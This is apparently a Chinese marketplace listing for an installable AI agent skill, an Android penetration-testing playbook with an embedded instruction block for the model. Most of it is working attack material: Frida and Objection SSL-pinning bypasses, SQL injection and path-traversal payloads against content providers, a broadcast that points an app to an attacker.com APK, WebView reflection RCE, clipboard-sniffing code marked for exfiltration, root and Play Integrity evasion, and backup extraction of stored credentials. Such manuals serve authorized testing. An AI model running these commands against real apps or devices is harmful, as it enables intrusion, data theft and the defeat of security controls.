mcpField
A
android-pentesting-tricks

android-pentesting-tricks

github.com/yaklang安全2.6k4.1k 次安装6 周前更新
代码仓库

关于 android-pentesting-tricks

android-pentesting-tricks 是供安全测试人员检查 Android 应用的技能手册,涵盖流量拦截限制、组件暴露、WebView 风险、Intent 重定向、Root 检测及设备完整性控制。

主要功能

  1. 01SSL pinning 绕过技术
  2. 02导出组件检查
  3. 03WebView 漏洞分析
  4. 04Intent 重定向测试
  5. 05Root 检测与完整性绕过

适用场景

  1. 01在授权测试中拦截应用 HTTPS 流量
  2. 02检查导出的 Activity、服务和 Provider
  3. 03测试深层链接与 WebView 输入处理
  4. 04评估应用在 Root 测试设备上的行为

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/yaklang/hack-skills --skill android-pentesting-tricks

安装后在 Claude Code 中输入/android-pentesting-tricks确认已加载。

附带文件FRIDA_SCRIPTS.md

详细介绍

技能:Android 渗透测试技巧——专家攻击手册

AI 加载指令:Android 应用安全测试专家技术。涵盖 SSL 固定绕过(Frida/Objection/LSPosed)、组件暴露、WebView 漏洞利用、Intent 重定向、Root 检测绕过和 Play Integrity 规避。基础模型容易遗漏 Frida Hook 细节和多层绕过链。

0. 相关路由

深入分析之前,可考虑加载:

高级参考

需要以下内容时,也请加载 FRIDA_SCRIPTS.md:

  • 常见 Android 测试任务的即用型 Frida 脚本模板
  • OkHttp、Retrofit、Volley、WebView 的详细 Hook 点
  • Root 检测绕过脚本集合

1. SSL 固定绕过

1.1 Frida 通用绕过
# Install Frida server on device
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64"
adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &"

# Universal SSL pinning bypass
frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause
Hook 点库/类覆盖范围
X509TrustManager.checkServerTrustedAndroid SDK所有标准 HTTPS
OkHttpClient.Builder.sslSocketFactoryOkHttp 3.x/4.xSquare OkHttp
CertificatePinner.checkOkHttp 3.x/4.xOkHttp 固定
HttpsURLConnection.setSSLSocketFactoryAndroid SDK旧版 HTTPS
SSLContext.initAndroid SDK自定义 SSL 上下文
WebViewClient.onReceivedSslErrorWebViewWebView SSL 错误
TrustManagerFactory.getTrustManagersAndroid SDK工厂创建的 TM
1.2 Objection(快速方法)
objection -g com.target.app explore
# Inside Objection REPL:
android sslpinning disable
1.3 网络安全配置(调试版本)

如果可以修改 APK,或者这是调试版本:


<network-security-config>
  <debug-overrides>
    <trust-anchors>
      <certificates src="user" />  
    </trust-anchors>
  </debug-overrides>
</network-security-config>
1.4 Magisk 模块方案
模块方法范围
LSPosed + TrustMeAlreadyHook 系统范围内的 TrustManager所有应用
LSPosed + SSLUnpinning定向 SSL 绕过单个应用
MagiskTrustUserCerts将用户 CA 移至系统存储区所有信任系统 CA 的应用
ConscryptTrustUserCerts修补 Conscrypt较新版本 Android(7+)

2. 组件暴露

2.1 导出的 Activity
# Find exported activities (AndroidManifest.xml or aapt)
aapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 "exported.*true"

# Launch exported activity directly
adb shell am start -n com.target.app/.AdminActivity
adb shell am start -n com.target.app/.DeepLinkActivity \
  -d "target://callback?token=attacker_token"

# With extra data
adb shell am start -n com.target.app/.TransferActivity \
  --es "amount" "99999" --es "recipient" "attacker"
2.2 Content Provider
# Query exposed content providers
adb shell content query --uri content://com.target.app.provider/users

# SQL injection in content provider
adb shell content query --uri "content://com.target.app.provider/users" \
  --where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--"

# Path traversal in file-providing content provider
adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"
Provider 类型攻击途径影响
数据库后端通过 query() 的投影/选择参数进行 SQL 注入数据泄露、绕过身份验证
文件后端通过 URI 进行路径遍历读取任意文件
Parcelable自定义 Parcelable 中的类型混淆代码执行
2.3 Broadcast Receiver
# Send crafted broadcast
adb shell am broadcast -a com.target.app.ACTION_UPDATE \
  --es "url" "http://attacker.com/malicious.apk"

# Ordered broadcast interception (higher priority receiver intercepts first)
# Register receiver with higher priority than target to intercept/modify data
2.4 导出的 Service
# Start/bind to exported service
adb shell am startservice -n com.target.app/.BackgroundService \
  --es "command" "exfiltrate"

# List running services
adb shell dumpsys activity services | grep com.target

3. WebView 漏洞

3.1 JavaScript 接口 RCE(API 17 之前)
// Vulnerable code: addJavascriptInterface without @JavascriptInterface annotation
webView.addJavascriptInterface(new JSInterface(), "android");

// Pre-API 17: Reflection-based RCE via injected JavaScript
// Inject into WebView:
// android.getClass().forName('java.lang.Runtime')
//   .getMethod('getRuntime').invoke(null).exec('id')
3.2 现代 WebView 攻击
漏洞条件利用方式
setJavaScriptEnabled(true) + 不可信内容已启用 JS,且攻击者可控制加载的 URLXSS → 访问桥接接口
setAllowFileAccessFromFileURLs(true)file:// 可读取其他 file://加载 file:///data/data/com.target/...
setAllowUniversalAccessFromFileURLs(true)file:// 可访问任何源通过 XHR 向攻击者外传数据
loadUrl(user_controlled)loadUrl 中包含用户输入javascript: 方案或 file://
绕过 shouldOverrideUrlLoadingURL 验证不完整重定向至攻击者控制的页面
使用污点数据调用 evaluateJavascript在 JS 执行中使用用户数据在 WebView 上下文中触发 XSS
3.3 Deep Link 到 WebView 攻击链
1. Attacker crafts deep link: target://webview?url=https://attacker.com/xss.html
2. App opens WebView with attacker URL
3. XSS in WebView calls JavaScript bridge: android.sensitiveMethod()
4. Bridge executes in app context with app's permissions

4. 意图重定向

导出的 Activity 接收一个 Intent,并使用接收到的 Intent 中的数据启动另一个(内部)Activity。

// Vulnerable pattern:
Intent received = getIntent();
Intent redirect = (Intent) received.getParcelableExtra("next_intent");
startActivity(redirect);
// Attacker controls "next_intent" → can start any internal activity
# Exploit: start non-exported internal activity via redirection
adb shell am start -n com.target.app/.ExportedActivity \
  --es "next_intent" "intent:#Intent;component=com.target.app/.InternalAdminActivity;end"
模式指示器风险
getParcelableExtra → startActivityIntent 中嵌套 Intent启动未导出的 Activity
getStringExtra("url") → startActivity(Intent.ACTION_VIEW)URL 转发打开任意 URL
getStringExtra("class") → Class.forName → startActivity动态类加载按名称启动任意 Activity

5. 绕过 Root 检测

5.1 常见的 Root 检测检查
检查检测内容Frida 绕过方法
su 二进制文件是否存在/system/xbin/su、/sbin/suHook File.exists() → 返回 false
构建标签是否包含 "test-keys"Build.TAGSHook Build.TAGS → 返回 "release-keys"
是否安装 Magisk Manager包名检查Hook PackageManager.getPackageInfo
是否存在 Superuser.apkRoot 管理应用Hook File.exists()
RootBeer 库多项 Root 检测Hook 所有 RootBeer 检查方法
SafetyNet/Play Integrity服务端证明需要 Magisk DenyList + 模块
系统属性异常ro.debuggable=1 等Hook SystemProperties.get
5.2 Magisk DenyList(此前称为 MagiskHide)
# Enable DenyList in Magisk Manager
# Add target app to DenyList — Magisk hides itself from that app
# Covers: su binary, Magisk Manager package, mount points, props

6. 绕过 PLAY INTEGRITY / SAFETYNET

级别检查内容绕过难度
基本完整性未 Root、非模拟器简单(Magisk + DenyList)
设备完整性引导加载程序已锁定、已验证启动困难(需要锁定的引导加载程序)
强完整性硬件支持的证明非常困难(硬件 TEE)

技巧:

  • 启用 Zygisk 的 Magisk + 为目标应用配置 DenyList
  • Play Integrity Fix (PIF) Magisk 模块:伪造设备指纹
  • Shamiko 模块:对特定应用隐藏 Root 状态
  • 使用已锁定引导加载程序的自定义 ROM(针对 Pixel 的技巧)

7. TAPJACKING(覆盖层攻击)


<activity android:name=".OverlayActivity"
    android:theme="@style/TransparentTheme"
    android:excludeFromRecents="true">
</activity>


Android 版本保护措施绕过方法
6.0 之前无完全覆盖层
6.0–11filterTouchesWhenObscured(选择启用)未使用该功能的应用容易受到攻击
12+阻止覆盖层窗口的非可信触摸部分覆盖层、基于时序的攻击

8. 备份提取

# Check if backup allowed
aapt dump xmltree target.apk AndroidManifest.xml | grep allowBackup
# android:allowBackup(0x01010280)=(type 0x12)0xffffffff → true (default!)

# Extract backup
adb backup -f backup.ab -apk com.target.app
# Convert to tar
dd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar
tar xf backup.tar

# Analyze extracted data
find com.target.app -name "*.db" -o -name "*.xml" -o -name "*.json"
# Check shared_prefs/ for tokens, credentials
# Check databases/ for SQLite DBs with sensitive data

9. 其他技巧

9.1 利用可调试应用
# If android:debuggable="true" in manifest
adb shell run-as com.target.app
# Now running as the app's user — full data directory access
cat /data/data/com.target.app/shared_prefs/*.xml
9.2 Drozer(组件测试框架)
# List attack surface
dz> run app.package.attacksurface com.target.app
# Exported Activities: 3
# Exported Services: 1
# Exported Providers: 2

# Query provider
dz> run app.provider.query content://com.target.app.provider/users
# Scan for injection
dz> run scanner.provider.injection -a com.target.app
9.3 剪贴板嗅探
// Pre-Android 10: any app can read clipboard
ClipboardManager cm = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
cm.addPrimaryClipChangedListener(() -> {
    ClipData data = cm.getPrimaryClip();
    // Exfiltrate copied passwords, tokens, etc.
});

10. ANDROID 渗透测试决策树

Testing Android application
│
├── Can intercept HTTPS traffic?
│   ├── No → SSL pinning in place
│   │   ├── Frida available? → universal SSL bypass script (§1.1)
│   │   ├── Rooted + Magisk? → LSPosed + TrustMeAlready (§1.4)
│   │   ├── Debug build? → Network Security Config (§1.3)
│   │   └── None above? → manual decompile + patch + repackage
│   └── Yes → proceed to traffic analysis
│
├── Exported components found?
│   ├── Exported Activities → test direct launch, deeplink abuse (§2.1)
│   ├── Content Providers → SQLi, path traversal (§2.2)
│   ├── Broadcast Receivers → crafted intent injection (§2.3)
│   └── Services → unauthorized service binding (§2.4)
│
├── WebView present?
│   ├── JavaScript enabled + JS interface? → bridge exploitation (§3.1)
│   ├── File access enabled? → file:// scheme abuse (§3.2)
│   └── Deep link → WebView? → URL injection chain (§3.3)
│
├── Intent handling found?
│   └── Intent-in-Intent pattern? → redirect to internal activity (§4)
│
├── Root detection blocking testing?
│   ├── Client-side checks only? → Frida hook bypass (§5.1)
│   ├── SafetyNet/Play Integrity? → Magisk DenyList + modules (§6)
│   └── Custom obfuscated checks? → reverse engineer + targeted hooks
│
├── Sensitive data storage?
│   ├── allowBackup=true? → ADB backup extraction (§8)
│   ├── Debuggable? → run-as for direct data access (§9.1)
│   └── SharedPreferences → check for plaintext tokens/credentials
│
└── UI-based attacks applicable?
    └── Overlay possible? → tapjacking (§7)

评论

支持 Markdown